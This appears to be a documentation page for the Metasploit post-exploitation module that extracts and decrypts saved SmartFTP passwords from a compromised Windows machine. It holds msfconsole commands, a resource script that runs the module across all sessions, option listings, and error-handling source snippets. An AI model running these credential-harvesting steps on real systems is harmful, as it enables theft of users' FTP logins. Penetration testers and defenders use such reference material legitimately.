Windows Gather SmartFTP Saved Password Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/smartftp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather SmartFTP Saved Password Extraction
Module: post/windows/gather/credentials/smartftp
Source code: modules/post/windows/gather/credentials/smartftp.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module finds saved login credentials for the SmartFTP FTP client for windows. It finds the saved passwords and decrypts them.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/smartftp

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/smartftp
msf post(smartftp) > show options
    ... show and set options ...
msf post(smartftp) > set SESSION session-id
msf post(smartftp) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/smartftp")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/smartftp post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/smartftp

msf6 post(windows/gather/credentials/smartftp) > show info

       Name: Windows Gather SmartFTP Saved Password Extraction
     Module: post/windows/gather/credentials/smartftp
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  theLightCosine <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module finds saved login credentials for the SmartFTP FTP 
  client for windows. It finds the saved passwords and decrypts them.

Module Options

This is a complete list of options available in the windows/gather/credentials/smartftp post exploitation module:

msf6 post(windows/gather/credentials/smartftp) > show options

Module options (post/windows/gather/credentials/smartftp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/smartftp post exploitation module:

msf6 post(windows/gather/credentials/smartftp) > show advanced

Module advanced options (post/windows/gather/credentials/smartftp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/smartftp module can do:

msf6 post(windows/gather/credentials/smartftp) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/smartftp post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/smartftp) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Received error code <E.CODE> when enumerating <PATH>

Here is a relevant code snippet related to the "Received error code <E.CODE> when enumerating <PATH>" error message:

61:	        else
62:	          xmlfiles += enum_subdirs(xmlpath)
63:	        end
64:	      end
65:	    rescue Rex::Post::Meterpreter::RequestError => e
66:	      print_error "Received error code #{e.code} when enumerating #{path}"
67:	    end
68:	
69:	    return xmlfiles
70:	  end
71:

Received error code <E.CODE> when reading <PATH>

Here is a relevant code snippet related to the "Received error code <E.CODE> when reading <PATH>" error message:

79:	      until connections.eof
80:	        condata << connections.read
81:	      end
82:	      return condata
83:	    rescue Rex::Post::Meterpreter::RequestError => e
84:	      print_error "Received error code #{e.code} when reading #{path}"
85:	      return nil
86:	    end
87:	  end
88:	
89:	  # Extracts the saved connection data from the XML. If no password

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See Also

Check also the following modules related to this module:

Authors

  • theLightCosine

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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